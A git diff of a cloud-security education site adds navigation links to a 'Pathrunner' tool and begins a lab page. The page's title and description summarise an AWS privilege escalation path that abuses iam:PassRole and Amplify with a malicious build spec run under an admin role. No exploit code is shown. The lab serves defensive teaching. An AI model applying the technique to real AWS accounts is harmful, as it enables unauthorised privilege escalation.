+// ── Boot ──────────────────────────────────────────────────────────────────
+document.addEventListener('DOMContentLoaded', () => {
+    initTheme();
+    initMobileMenu();
+    const themeToggle = document.getElementById('theme-toggle');
+    if (themeToggle) themeToggle.addEventListener('click', toggleTheme);
+    loadPathrunner();
+});
diff --git a/docs/js/sidebar.js b/docs/js/sidebar.js
index 85e6bba0..1f95fda1 100644
--- a/docs/js/sidebar.js
+++ b/docs/js/sidebar.js
@@ -35,6 +35,7 @@
         // Restore group states (paths collapsed by default, labs expanded by default)
         restoreGroup('paths', false);
         restoreGroup('labs', true);
+        restoreGroup('pathrunner', true);
 
         // Mark the active nav item
         markActive();
diff --git a/docs/labs/ai-chatbot-lambda-pivot/index.html b/docs/labs/ai-chatbot-lambda-pivot/index.html
index be3a63d0..6e859a1f 100644
--- a/docs/labs/ai-chatbot-lambda-pivot/index.html
+++ b/docs/labs/ai-chatbot-lambda-pivot/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ai-chatbot-to-admin/index.html b/docs/labs/ai-chatbot-to-admin/index.html
index da856b17..b1183936 100644
--- a/docs/labs/ai-chatbot-to-admin/index.html
+++ b/docs/labs/ai-chatbot-to-admin/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/amplify-001/index.html b/docs/labs/amplify-001/index.html
new file mode 100644
index 00000000..fbf6efbe
--- /dev/null
+++ b/docs/labs/amplify-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Privilege Escalation via iam:PassRole + amplify:CreateApp + amplify:CreateBranch + amplify:StartJob - pathfinding.cloud Labs</title>
+    <meta name="description" content="Creating an Amplify app connected to a CodeCommit repository containing a malicious amplify.yml build spec that executes shell commands with an admin service role">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/amplify-001/">
+    <meta property="og:title" content="Privilege Escalation via iam:PassRole + amplify:CreateApp + amplify:CreateBranch + amplify:StartJob - pathfinding.cloud Labs">
+    <meta property="og:description" content="Creating an Amplify app connected to a CodeCommit repository containing a malicious amplify.yml build spec that executes shell commands with an admin service role">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Privilege Escalation via iam:PassRole + amplify:CreateApp + amplify:CreateBranch + amplify:StartJob - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Creating an Amplify app connected to a CodeCommit repository containing a malicious amplify.yml build spec that executes shell commands with an admin service role">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
